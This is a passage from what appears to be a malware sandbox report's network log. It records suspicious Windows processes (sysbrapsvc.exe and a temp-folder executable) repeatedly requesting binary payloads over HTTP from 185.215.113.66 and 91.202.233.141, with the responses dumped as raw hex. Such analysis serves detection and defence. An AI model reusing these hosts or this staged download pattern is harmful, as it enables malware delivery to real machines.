cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:24:24.409182072 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:24:24.409221888 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:24:24.409239054 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:24:24.409734964 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:24:24.409749031 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:24:24.409843922 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:24:24.409858942 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49757	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:24.503726959 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:24.843621969 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:24 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Mon, 06 May 2024 15:56:03 GMT Connection: keep-alive ETag: "6638fd93-2300" Accept-Ranges: bytes Data Raw: 6e 7d d2 5f ce 4a 45 f2 2e c8 0a 06 01 ad 79 a1 63 76 36 9c 33 9d 4c 75 74 4a ce 78 8a 3c ef f0 d5 e4 b0 26 52 79 67 45 ad 70 d3 3a 4b 36 01 0e c6 16 f8 71 c8 1a 6a e2 64 71 7e b1 1a b9 f6 f8 f9 38 23 3c 26 8e 19 a9 67 be 75 d4 b0 b3 ee 7e 56 8d c9 d6 b2 19 08 98 9c 62 5d 08 84 18 e0 a4 81 52 52 f1 22 2d 57 91 35 b1 be bf 00 34 54 15 7a 9f 37 5a 41 a7 67 fd f5 f0 19 bc cb 4d 5d 3b 33 55 47 d7 29 48 84 09 d2 35 61 aa 27 75 84 62 9b 91 c9 fc d8 ab f6 d3 13 57 89 3f 95 ab 64 63 e7 73 c5 5e 05 a5 42 e3 0f 60 42 17 f5 88 3b 8c 25 27 7a 85 fa 04 37 4a f5 68 71 6d 2b 8a 84 61 c2 56 01 36 4f f4 55 cc fc 6b ff 18 a6 02 24 ce 28 d3 a3 ee 8d ef d1 4b 66 64 4b 50 7b ae d7 0c db 98 be e6 d7 4d 22 0d 84 e4 73 47 48 6f f3 f6 ce cb 17 4c 5d f2 e4 99 c3 e4 ef b5 2d 3d 28 e3 2f c2 fc a5 dc 8a c6 15 02 ae 33 6c f0 40 61 05 5b 9c 9f a9 81 6f 78 43 b8 d7 ca 55 ea 3c 2d c6 35 ea e5 78 8b 82 f5 67 d9 dc eb 87 ef 5c 2a 3d 82 67 a4 20 42 ba a1 a9 6e 52 5a b2 74 d1 ff 58 7d 97 69 5f d5 2e dd 2d 9b 94 06 26 3a 55 d4 63 0c 97 [TRUNCATED] Data Ascii: n}_JE.ycv63LutJx<&RygEp:K6qjdq~8#<&gu~Vb]RR"-W54Tz7ZAgM];3UG)H5a'ubW?dcs^B`B;%'z7Jhqm+aV6OUk$(KfdKP{M"sGHoL]-=(/3l@a[oxCU<-5xg\=g BnRZtX}i_.-&:UcRSTud^3n<YyiiIetwjEJIe9n[~RTz~-g eKqBga-2bgeG\Kk-M5668Gjj+N<"AY<A0PMXZdlLPVevy2lHS2>Nn<p5q7Rpet \w\3]OzWt\<7$Z/BNeoq#q4V5r0%)-`9u%:oF8Li~}WJ3VV0}4tVT[O+27Gt!rn<DI3KI=0FlLW~^'.Am~U<lab+GIJrKEf`.0t}0^"q';1q1?n=:NOrsGDjw_Hi`DkkHjAfi\&y57v~$~H [TRUNCATED]
May 8, 2024 15:24:24.843640089 CEST	1289	IN	Data Raw: f7 94 da 7b e6 b6 fe 0f a6 64 19 c2 ef 0c 25 ba 8a dc 2e e0 30 f4 54 50 75 d1 a6 f4 59 1c b4 b9 d6 5d ff c8 5e 3e 5b 07 7a 96 73 9b ae 22 d8 6b 94 c6 57 3e d8 71 a6 7b 47 b5 fd bf db f8 4c d1 a0 dc 40 6d 3e 69 9d 81 d1 0a 59 7c bc 21 67 cc 11 6c Data Ascii: {d%.0TPuY]^>[zs"kW>q{GL@m>iY\|!gl.8D4JG?x/\@D;=(-Z!fH^;7\|+$=zzC-dyfm3UW:eZP}c\i[^]:_((<E26+W]
May 8, 2024 15:24:24.843713999 CEST	1289	IN	Data Raw: 36 b6 60 d6 42 d5 be b8 10 0f 5e 53 6b 05 0c bb e0 3a fd c1 4c da c6 b2 ce 72 f2 28 ff e2 e4 db da 87 14 d0 4f 41 0e 55 57 fa be d2 25 4d 12 33 a4 70 68 6c 6c 2b a3 44 06 79 cc 95 93 eb 72 2a b2 f0 3b de cd b0 3a c3 dc 34 b8 c3 7d 7f 3e 04 b4 75 Data Ascii: 6`B^Sk:Lr(OAUW%M3phll+Dyr;:4}>u)xAr\IAc:X1v".&9>^Q!4D "Ifh`(^+O1YPMZk(*x6nsclZ28_o0 k@!HuyA
May 8, 2024 15:24:24.843729019 CEST	1289	IN	Data Raw: 93 f1 1e 94 53 39 c9 d2 e2 09 21 6e 04 82 7e 50 d7 b3 b4 7a 0f 0c 6e f7 f3 72 9f 81 e7 4f 18 63 7d f3 82 53 8a c0 24 d3 f8 5f e5 bf 54 41 82 a4 fd fd 43 2d f5 13 2e c4 5b 9d f3 91 c6 f4 2e 55 bd e6 d6 75 a2 c3 d0 94 74 c8 cb 28 b6 dc f0 93 b5 29 Data Ascii: S9!n~PznrOc}S$_TAC-.[.Uut()w~oLYj=e\|qRaf;\o*FsJUS~T,om^&)Nh0/(Fy0qC4AOPp/iP?b4k"/8:V,p#$S=+
May 8, 2024 15:24:24.843743086 CEST	1289	IN	Data Raw: 33 51 0b bf 02 90 7d ae a0 4a f2 d7 4e 24 7a af 58 7f 8c 57 b1 0b ba f7 ad e3 5e a3 5c e2 17 41 70 26 55 dd e1 15 18 42 00 13 72 95 8a e6 0e bd 09 e1 cc 12 1d 94 48 d8 7f 9a a1 3a f8 a8 cd 4e 93 44 96 32 4d c1 d3 0f 72 e9 7c 3f f8 63 58 4c c1 64 Data Ascii: 3Q}JN$zXW^\Ap&UBrH:ND2Mr\|?cXLdydQ]X4&S{81eJE0]'k?mvv@Z\|Bm9+7qd=Sf&x5h_VS>i2J(I-#$4V0
May 8, 2024 15:24:24.843758106 CEST	1289	IN	Data Raw: 75 f2 a4 6e 8c 81 1a ce 92 da 4e 55 fe 12 bc 9a 1d 07 16 a6 2c bb f4 14 e5 47 0e 5a ef 01 75 2d ca 7b 4a 24 d7 7f 58 3b f8 05 9d ad 36 f6 0e 9b 79 24 3d a3 86 9b 25 40 e7 93 e1 8a 71 37 ce 6a e1 85 1b d8 41 0b 62 b1 13 8e f5 76 e9 fe 55 d1 d5 ad Data Ascii: unNU,GZu-{J$X;6y$=%@q7jAbvU#i=a=7C(qPt]:u0-/G3n~ulB41Qtxp{-Mu8H_8`<,d(,rh8zG30J<W@zb
May 8, 2024 15:24:24.843832970 CEST	1289	IN	Data Raw: 22 8e fe 4a ef 62 4e fb 52 d3 10 f6 27 c8 5a 0d 9d 1d 25 85 59 6d 73 a2 2f f1 99 3c 63 a3 86 05 ed 4f 9d 19 fc 5b 79 4c 9c 5d b0 b8 13 8f c1 7b f3 b0 4b c7 c7 1a 66 c4 e8 67 59 56 e9 a8 38 19 67 57 78 8a eb f9 39 3e 92 c1 ed 14 f1 fe 1f 11 e3 ac Data Ascii: "JbNR'Z%Yms/<cO[yL]{KfgYV8gWx9>_tM~Q^>%\-WTTNzroS5]j9G$J,)govS8}BeW9kF,};P.2AE$!t`Gnx\pB
May 8, 2024 15:24:24.843846083 CEST	201	IN	Data Raw: 81 31 21 d8 8e 36 78 b3 2d 82 77 69 8a df 7e 62 18 45 06 17 54 88 d6 0a 13 39 f8 83 01 5f 60 e5 2f e2 a3 e1 ad 97 41 c3 f3 ff 04 87 45 be a8 6c b3 32 c4 02 f6 a3 27 6b b3 e7 12 44 a7 58 da 60 98 22 14 cc 06 3f 84 e5 8b 84 0c 98 a8 be 53 a5 2f 6a Data Ascii: 1!6x-wi~bET9_`/AEl2'kDX`"?S/jeUA?bkXwY;HzObN6<2%8bp2ePK1f:Kd$\kvjZz,{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49758	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:27.497114897 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:27.836029053 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:27 GMT Content-Type: application/octet-stream Content-Length: 11520 Last-Modified: Sat, 04 May 2024 13:18:06 GMT Connection: keep-alive ETag: "6636358e-2d00" Accept-Ranges: bytes Data Raw: 4d 69 d1 66 af 90 ca ef 04 18 04 8f 9a 4f 78 79 a1 72 45 cd 89 72 d1 57 c0 33 c8 d8 28 db 5b 31 72 fa ec 98 3c 67 3f a8 16 70 92 cc 17 52 3d bb 9c 7b 03 65 25 32 e0 f5 c9 73 9d f1 c1 03 8b 8e 35 d8 88 02 5c 9e 73 f4 5b 07 c1 59 15 e9 c6 f5 e9 ef ad d9 43 18 62 a0 a9 2f 0a 3e 55 89 eb 57 0d 52 27 a6 07 3a 8b a9 bf 6c 43 a0 c6 ec 73 86 2c 9e 66 7d 06 e8 29 fd 4f 06 ba 83 84 25 5e 77 3e ad 2f e6 c8 42 af 31 8c 99 1e c4 f3 8d d4 94 d6 e0 12 42 3f ef 15 eb 39 c4 ff 0d a7 86 c6 e5 10 fc 73 6e ab 62 92 c2 cd 28 06 90 55 e6 71 50 2b 89 99 62 40 9b 39 d1 35 82 0d 31 00 b7 89 c9 29 bb 7d ec b0 ea 71 90 84 34 1d b7 73 e9 b8 4f 66 ae ce b1 f4 c6 6b 53 a3 c4 e2 b8 1a 13 69 8d 8d c5 6e 29 c8 3e 7c 53 2f 76 35 46 20 d0 37 48 e0 81 55 8c 36 e9 2e c7 17 43 32 30 71 9e 05 33 43 0d ba 30 31 91 e7 98 12 0b ba 93 dd 00 de 30 fd 0f 7c 5a 37 06 55 11 28 6f 92 5e b5 c8 f4 c0 78 2a c2 0a fd 4a 0c f8 13 b4 58 8e e9 79 4d 99 7a 1c 94 f8 12 84 db 8c 82 fd 3a 97 f0 92 23 5e 84 cb 02 45 5b 00 bb 11 d2 71 33 9b 87 c5 d8 f7 ce 18 [TRUNCATED] Data Ascii: MifOxyrErW3([1r<g?pR={e%2s5\s[YCb/>UWR':lCs,f})O%^w>/B1B?9snb(UqP+b@951)}q4sOfkSin)>\|S/v5F 7HU6.C20q3C010\|Z7U(o^xJXyMz:#^E[q3L\?w5T_ZA#[jqUyG )1a]rbwlZQuafbnpn3,k#k!rqB9O8XY%pQfC8GDoyPyWo?!/nZzK\|C[-EgEeGpwuyh%,5GjJP!mmHQr)oVJ<Wh#<"Tf+8}K4&sR'{nLgu9NYRs^sA7G2mI8Yj{%aU=Xg&TRg&B5wiroW+8dlnrthwID&4P"T@Uj'E_rMzAl!F}fsunfb3#C4&@@G1 ioC,WAZw.d3!LsF= ?T{ R*M]V?:HK//\|f"?6edfIM"3\Dys:yKhNFwY"oQtyFt9t:" [TRUNCATED]
May 8, 2024 15:24:27.836129904 CEST	1289	IN	Data Raw: fb 97 3d 42 70 69 f4 d0 6a d4 64 5d a9 23 47 e7 52 a7 c1 d7 43 8f cf 0d 5b 9a aa 34 1e 7a 10 5f ac 61 5b 0a 44 53 86 32 fc 6b 44 b6 49 0a c7 40 06 33 92 a6 5d 6c 1e 63 f7 06 96 6e 19 64 25 51 78 ac 38 7c 66 e1 8d 97 78 f2 9d 59 03 21 60 8e 4e 9a Data Ascii: =Bpijd]#GRC[4z_a[DS2kDI@3]lcnd%Qx8\|fxY!`N5zm"@%hlTz?g4Da:2\iTe.AD$F=u<N<>L%Acf5"-+"Zhb'6Y-b<D0Hn6S#}2qV!jVe&yPyXC*
May 8, 2024 15:24:27.836144924 CEST	1289	IN	Data Raw: 1a 46 bb ff b1 fa 98 44 c5 18 6c 9e 0d ec 06 f9 44 ad ac 14 68 8e 3c 37 c7 63 f7 ba f9 8e 1b 7d 54 ce d3 2c 5b d2 fc 55 f9 78 94 81 b2 1f a7 3a b6 3c ec 69 e6 35 7c 15 79 48 36 d9 9e 73 0a 15 67 8d 1f 32 00 43 7d f6 90 4e 5b d7 bf 3b 6d 8a c6 0d Data Ascii: FDlDh<7c}T,[Ux:<i5\|yH6sg2C}N[;mPTHNCSQwcXpRwDF1[^3LTk6QgGt,C`bO?FE`;,fdBlJ1$z/AhCZTK~*KBK<}r5uJ^
May 8, 2024 15:24:27.836158037 CEST	1289	IN	Data Raw: d6 7d f5 5f d9 ad a7 b3 48 ed 48 0f ed d0 a6 96 e0 05 f7 34 23 65 b6 2a 32 d5 2b 99 9e 59 e7 a9 c2 a3 a2 1e 4b aa 64 c1 ae 4e b8 34 7b 57 88 1d d0 92 ef 80 86 9d e5 82 de 2c 4b 34 03 65 a1 e8 4a ba 91 c0 a7 02 74 37 db ea aa 60 a0 a4 7a 12 0d 6d Data Ascii: }_HH4#e2+YKdN4{W,K4eJt7`zmZ5UG?RN'Oio?b[AEvS&;=YFj"a_Y*'ih5T4DrE:o^D0C,cyxD~KlE,P/'mP~S
May 8, 2024 15:24:27.836173058 CEST	1289	IN	Data Raw: 40 9d 2f 40 92 1d dc 2e 2d 37 07 95 c0 ca 27 b3 45 f9 db 57 cc 3c b3 94 3c 1c 6e a7 f9 03 68 03 f9 94 26 62 55 3d d2 84 91 a2 08 81 a0 cf 06 ad 0a 96 5d 18 4d 46 d5 71 52 28 c2 23 ad 04 c6 9e 13 96 5a df 9d 4a 31 8a 0d 44 89 cd 7a 9e 0a 4b af 79 Data Ascii: @/@.-7'EW<<nh&bU=]MFqR(#ZJ1DzKyZ~s^V,j{OZ\|4Mi{0X~xLSITC[H{X4obLUFSYCA[kW0ym9_"^^%D8RL4/!~=\MIDW.xtL<7QH2
May 8, 2024 15:24:27.836184978 CEST	1289	IN	Data Raw: 44 4d a6 a3 b7 22 c2 5b 9f 42 16 aa a0 54 8e 79 60 78 63 27 93 c8 7b 4f 79 c4 39 e2 83 37 c6 3c 77 b6 6f c5 bd 55 c4 dd af 2f d6 8e 19 0b 89 c3 74 7c e8 62 ed 59 e0 3d f9 9f f6 a4 01 1a db e9 8e c3 a0 08 ab b1 db ce c5 be 6b 2e c1 21 3d 3b 72 f6 Data Ascii: DM"[BTy`xc'{Oy97<woU/t\|bY=k.!=;r\&q9C_SfNHUFANxjH{0FX#pyzcL(&5FGv@OJu$u;.:Kr3{Ys'~40.gW9-p
May 8, 2024 15:24:27.836199045 CEST	1289	IN	Data Raw: 96 c7 1e 99 2a 65 47 5a 2f 04 61 95 c3 f7 3b 13 2d 1f 19 99 60 44 70 cc 71 89 26 ce fe 61 07 db 08 67 7b ef 72 66 48 9c 03 5c 52 eb 77 87 ba e0 6c 75 f8 82 5e 71 cc 4e 93 81 a7 97 ee d8 22 7d fd 87 70 04 2c 56 52 7b 5c c1 82 64 36 3b 23 11 5b 64 Data Ascii: *eGZ/a;-`Dpq&ag{rfH\Rwlu^qN"}p,VR{\d6;#[dRuuo5h{.pQajc}hqR';C@{F#O8rlES06QI,W\|<#wF%\3'J,\|pi-]D
May 8, 2024 15:24:27.836211920 CEST	1289	IN	Data Raw: ad 00 b0 d7 3a 66 4e 1e 03 44 ca 9a 69 86 81 3d 7b 3e 74 3d 11 a0 40 8a b0 4a ec 07 f1 39 3a c3 8a 08 fe 9a 04 56 91 cb 6e 0b b7 3d 71 77 1a ab 17 c8 b2 a1 13 f0 84 da c4 a6 3d 8b 0e b7 48 c2 70 8b 3d 79 0b 7b d0 83 40 bc 6e 63 e0 65 3c eb 92 7d Data Ascii: :fNDi={>t=@J9:Vn=qw=Hp=y{@nce<}K;m)2<+)}R\|KG#Hp;+q-a+PG V(:2\%D#v_=Vcf~t*UszjG,Hj\|kwD^J[2;
May 8, 2024 15:24:27.836225033 CEST	1289	IN	Data Raw: 4a fc ac 2a f0 d4 7f 4b 5b 5e d3 b6 bb f2 53 4c 5a 65 a8 db fd c0 16 ef fa 31 99 22 f9 0c fc 39 a7 0a 63 e4 67 bf a5 a8 22 34 1f 1a 3e 8f 8b 2c 95 d1 b2 2f 63 fb d3 8c b1 e4 9b d3 5c f8 a4 85 be 1f 12 ae 72 d5 58 85 43 52 e6 38 c2 6f 80 6d 00 79 Data Ascii: JK[^SLZe1"9cg"4>,/c\rXCR8omyDoBpxA\|l;)/m:O[]n&A=+a#c7vC#c&UQXZa.J_ana^-:V:jdx+.<K="uR`*2SY
May 8, 2024 15:24:27.836236000 CEST	184	IN	Data Raw: 62 6b e6 21 ab a9 eb e8 9e 02 55 78 11 38 01 35 39 77 e9 44 37 e2 1d f0 1e a9 4c 4a ab 33 4c eb 41 0e 7e b2 f2 cb 7b c4 d9 0a 53 01 ea 34 e0 60 75 f2 6c 58 bc 8e db 3d 9d 02 23 ac bf af 98 e0 41 25 68 5a 3d a9 69 92 af 5f 51 c7 ca 1d de fa 66 d1 Data Ascii: bk!Ux859wD7LJ3LA~{S4`ulX=#A%hZ=i_Qf]J`7LO/6o.?n-;K/:W$[G}coB%9lA=Nj@E_*+q{@:'W1pfe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49759	91.202.233.141	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:27.903503895 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:24:28.262655020 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:28 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:24:30.294775009 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:24:30.652537107 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:30 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:24:32.685553074 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
